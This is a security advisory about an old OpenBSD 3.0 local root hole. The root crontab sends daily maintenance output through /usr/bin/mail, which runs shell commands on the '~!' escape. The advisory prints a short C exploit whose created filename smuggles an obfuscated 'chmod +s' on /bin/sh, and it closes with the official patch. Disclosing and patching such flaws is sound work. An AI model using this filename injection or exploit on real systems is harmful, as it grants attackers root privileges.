|
COMMAND Mail local root compromise SYSTEMS AFFECTED OpenBSD 3.0 PROBLEM In Milos Urbanek ZOOM International (c) [http://www.zoom-int.cz/] Security Advisory : Program /usr/bin/mail allows a special escape sequence to be specified in the body of an email; this escape sequence specifies a shell comand to be executed ~!command executes the indicated shell command, then return to the message. Problem: default root crontab entry looks like: # do daily/weekly/monthly maintenance # on monday only (techie) 30 1 * * 1 /bin/sh /etc/daily 2>&1 | tee /var/log/d aily.out | mail -s \"`/bin/hostname` daily output\" root 30 3 * * 6 /bin/sh /etc/weekly 2>&1 | tee /var/log/ weekly.out | mail -s \"`/bin/hostname` weekly output\" root 30 5 1 * * /bin/sh /etc/monthly 2>&1 | tee /var/log/monthly.out | mail -s \"`/bin/hostname` monthly output\" root If there is something in files /etc/daily, /etc/weekly or /etc/monthly which could enable the attacker to insert its own input, like a malformed filename chiba:5$ touch \\~!haha chiba:6$ ls -al *haha* -rw-r--r-- 1 milos milos 0 Apr 8 19:30 ~!haha or by other means like output from log files under /var/log, the attacker can execute arbitrary comand running under root privileges which can lead to the root compromise. Exploit: /* * (c) 2002 venglin@freebsd.lublin.pl * * OpenBSD 3.0 (before 08 Apr 2002) * /etc/security + /usr/bin/mail local root exploit * * Run the exploit and wait for /etc/daily executed from crontab. * /bin/sh will be suid root next day morning. * * Credit goes to urbanek@openbsd.cz for discovering vulnerability. * */ #include <fcntl.h> int main(void) { int fd; chdir(\"/tmp\"); fd = open(\"\\n~!chmod +s `perl -e \'print \\\"\\\\057\\\\142\\\\151\\\\156\\\\057\\\\163\\\\150\\\"\'`\\n\", O_CREAT|O_WRONLY, 04777); if (fd) close(fd); } SOLUTION Mail Patch Index: collect.c =================================================================== RCS file: /cvs/src/usr.bin/mail/collect.c,v retrieving revision 1.23 retrieving revision 1.24 diff -u -r1.23 -r1.24 --- collect.c 2001/11/21 15:26:39 1.23 +++ collect.c 2002/04/08 20:27:17 1.24 @@ -1,4 +1,4 @@ -/* $OpenBSD: collect.c,v 1.23 2001/11/21 15:26:39 millert Exp $ */ +/* $OpenBSD: collect.c,v 1.24 2002/04/08 20:27:17 millert Exp $ */ /* $NetBSD: collect.c,v 1.9 1997/07/09 05:25:45 mikel Exp $ */ /* @@ -38,7 +38,7 @@ #if 0 static const char sccsid[] = \"@(#)collect.c 8.2 (Berkeley) 4/19/94\"; #else -static const char rcsid[] = \"$OpenBSD: collect.c,v 1.23 2001/11/21 15:26:39 millert Exp $\"; +static const char rcsid[] = \"$OpenBSD: collect.c,v 1.24 2002/04/08 20:27:17 millert Exp $\"; #endif #endif /* not lint */ @@ -161,7 +161,8 @@ value(\"interactive\") != NULL && !lastlong && (value(\"dot\") != NULL || value(\"ignoreeof\") != NULL)) break; - if (linebuf[0] != escape || lastlong) { + if (linebuf[0] != escape || value(\"interactive\") == NULL || + lastlong) { if (putline(collf, linebuf, !longline) < 0) goto err; continue;